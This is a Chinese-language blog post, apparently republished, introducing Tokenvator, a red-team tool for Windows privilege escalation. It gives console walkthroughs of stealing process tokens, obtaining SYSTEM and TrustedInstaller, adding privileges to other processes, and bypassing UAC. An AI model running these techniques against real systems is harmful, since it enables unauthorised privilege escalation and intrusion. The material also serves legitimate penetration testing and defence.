Tokenvator:使用Windows Token提升許可權的工具
WheresMyImplant是我去年利用.NET開發的一個小型紅隊工具箱。在這個工具包開發和使用的過程中,我發現,總是需要不斷改變自己進程的訪問令牌,例如需要執行SYSTEM許可權的操作,或為進程添加調試許可權的時候,等等。鑒於此,我專門創建了Tokenvator程序,這是一款利用.NET編寫的簡單工具,可用於在Windows上提升許可權。它通過模擬或修改正在執行的進程中具有適當許可權級別的身份驗證令牌來工作。
Tokenvator可以從https://github.com/0xbadjuju/Tokenvator下載,編譯說明可以在頁面底部找到。
基本用法
Tokenvator可以在交互模式和參數模式下運行。在交互模式下,基本命令可以通過tab鍵自動補全,如果按兩次tab鍵,就會根據上下文提供特定的幫助信息。
C:Usersadjuju>Tokenvator.exe
(Tokens) > help
Name Optional Required
---- -------- --------
GetSystem Command -
GetTrustedInstaller Command -
Steal_Token Command ProcessID
BypassUAC ProcessID Command
List_Privileges ProcessID -
Set_Privilege ProcessID Privilege
List_Processes - -
List_Processes_WMI - -
Find_User_Processes - User
Find_User_Processes_WMI - User
List_User_Sessions - -
WhoAmI - -
RevertToSelf - -
Run - Command
(Tokens) > WhoAmI
Name Optional Required
---- -------- --------
WhoAmI - -
(Tokens) > WhoAmI
[*] Operating as LABadjuju
雖然大多示例都是在交互模式下運行的,但實際上,所有命令都可以在參數模式下運行。
Steal_Token
Tokenvator最基本的用法是訪問和操作Windows身份驗證令牌。為了竊取另一個進程的令牌,我們可以運行Steal_Token命令,同時指定目標進程的PID。
(Tokens) > Steal_Token
Name Optional Required
---- -------- --------
Steal_Token Command ProcessID
(Tokens) > Steal_Token 7384
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[*] Impersonating 7384
[+] Recieved Handle for: (7384)
[+] Process Handle: 824
[+] Primary Token Handle: 828
[+] Duplicate Token Handle: 824
(Tokens) > whoami
[*] Operating as labackup
我們還可以添加一個要運行的命令,該命令將使用新的訪問令牌啟動。
(Tokens) > Steal_Token 7384 powershell.exe
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[+] Recieved Handle for: (7384)
[+] Process Handle: 860
[+] Primary Token Handle: 864
[+] Duplicate Token Handle: 860
[*] CreateProcessWithTokenW
[+] Created process: 14524
[+] Created thread: 18784
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:WINDOWSsystem32> whoami
labackup
PS C:WINDOWSsystem32> $pid
14524
GetSystem
在竊取令牌的時候,最常見的目標就是NT AUTHORITYSYSTEM帳戶。GetSystem命令是Steal_Token命令的包裝器,用於自動查找和訪問SYSTEM令牌。該命令的用法與Steal_Token相同。注意:這個命令有時候需要從提權後的上下文中運行。
(Tokens) > GetSystem
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[*] Searching for NT AUTHORITYSYSTEM
[*] Examining 344 processes
[*] Discovered 118 processes
[*] Impersonating 5488
[+] Recieved Handle for: (5488)
[+] Process Handle: 888
[*] Impersonating 4444
[+] Recieved Handle for: (4444)
[+] Process Handle: 868
[+] Primary Token Handle: 904
[+] Duplicate Token Handle: 868
(Tokens) > WhoAmI
[*] Operating as NT AUTHORITYSYSTEM
(Tokens) > RevertToSelf
[*] Reverted token to labadjuju
我發現,除非首先將許可權提升到到SYSTEM,否則無法訪問某些進程的令牌。例如,訪問NT SERVICE帳戶下的本地SQL服務進程就是這種情況。如果本地SYSTEM帳戶在資料庫上沒有SYSADMIN許可權,則必須先進行相應的提權。Scott Sutherland在這篇博客中對這一點進行了詳細的闡述。
GetTrustedInstaller
SYSTEM32文件夾中的文件或某些註冊表通常隸屬於TRUSTEDINSTALLER組。要想操作這些位置的內容,我們要麼擁有相應的所有權,要麼設法獲取TRUSTEDINSTALLER組成員的訪問令牌。與GetSystem類似,GetTrustedInstaller也是一個Steal_Token的封裝函數,用於啟動TrustedInstaller服務並竊取其令牌。
List_Privileges和Set_Privilege
有時,我們的進程並不具備完成某些任務所需的特定訪問許可權。例如,要訪問不隸屬於當前用戶的進程,則需要SeDebugPrivilege許可權。下面顯示的是高完整性進程中的拆分令牌的許可權(UAC Elevated - TokenElevationTypeFull)
在這裡,我們可以看到在中等完整性進程中分配給拆分令牌的默認特權(UAC Not Elevated - TokenElevationTypeLimited)
對於這個功能,不僅可以觀察自己的進程。下面,讓我們來看看當以管理員身份運行時,看到的notepad.exe的令牌是啥情況。注意:為了訪問不屬於當前用戶的進程,必須為當前進程啟用SeDebugPrivilege許可權。
實際上,我們不僅可以考察notepad.exe的令牌,甚至可以遠程更改它的許可權。現在,讓我們將SeLoadDriverPrivilege添加到該令牌上,並查看會發生什麼情況。注意:特權名稱是區分大小寫的。
現在,notepad.exe已經可以載入驅動程序,這種功能在許多場景下都是非常有用的。在將來,我們還會添加刪除許可權的功能。
BypassUAC
當前,UAC繞過的方法可謂五花八門,其中比較有趣的一種方法是通過操縱令牌實現的。在使用Windows令牌繞過UAC方面,FuzzySecurity做了一些非常有趣的工作。實際上,Tokenvator採用的UAC繞過的方法的思路,就來自於他。下面,我們的非特權令牌可以用來訪問一個隸屬於當前用戶的、經過提權的進程,並創建一個提權後的shell。
雖然這種方法在將來一段時間內可能長期有效,但它也有自身的局限性。從下面可以看出,雖然進程具有高度完整性,但分配給令牌的許可權仍然非常有限。
查找用戶進程
在系統上查找用戶的方法有很多。比如,我們可以查看系統上註冊的會話。
(Tokens) > List_User_Sessions
User SessionID
---- ---------
badjuju 1
backup 2
我一直想要的一個特性,是能夠對用戶進程進行匯總,從而了解當前有哪些用戶以及他們擁有哪些進程,這正是list_process命令的設計初衷。
(Tokens) > List_Processes
User Process ID Process Name
---- ---------- ------------
labadjuju 4000 conhost
List_Processes能夠利用主機上的本地API快速匯總系統中的進程及其所有者。到目前為止,除非從較高許可權的上下文中運行,否則無法正常工作。因此,該程序引入了List_Processes_WMI。從名字就能猜出,它是通過WMI進行操作的。雖然沒有List_Processes那麼快,但List_Processes_WMI可以從特權的上下文中提供更全面的信息。
(Tokens) > List_Processes_WMI
[*] Examining 102 processes
User Process ID Process Name
---- ---------- ------------
0 Idle
LABBADJUJU 448 taskhost
LOCAL XBADJUJU 1568 cmd
此外,我們可以輪詢系統以查找在特定用戶的上下文中運行的全部進程。注意:需要提供完整的用戶名。
(Tokens) > Find_User_Processes WINDOWS7ENTERPRBADJUJU
[*] Examining 100 processes
[*] Discovered 29 processes
Process ID Process Name
---------- ------------
3268 calc
3520 cmd
2604 cmd
4000 conhost
4664 conhost
920 conhost
1972 conhost
4928 conhost
2760 conhost
656 dwm
1776 explorer
5048 msvsmon
5352 msvsmon
3412 notepad
3552 powershell
3116 powershell_ise
2464 rdpclip
4820 rundotnetdll32
3944 taskhost
448 taskhost
3424 Tokenvator
4892 VCSExpress
List_Processes_WMI的運行機制與List_Processes類似,只不過是通過WMI完成而已。同時,它也不要求在具有特權的上下文中工作。
(Tokens) > Find_User_Processes_WMI LOCAL xBADJUJU
[*] Examining 102 processes
[*] Discovered 31 processes
Process ID Process Name
---------- ------------
1568 cmd.exe
2108 conhost.exe
1936 procexp64.exe
3544 cmd.exe
3608 conhost.exe
3892 x64dbg.exe
雖然這個程序的設計初衷,只是供自己和我們的團隊使用,但是,我仍然希望它能夠對其他人帶來幫助。如果您在使用過程中發現了任何錯誤或者希望添加某些特性的話,歡迎通知我們,我們將感激不盡。
※Microsoft Windows CVE-2018-1040漏洞分析
※利用Frida打造ELF解析器
TAG:嘶吼RoarTalk |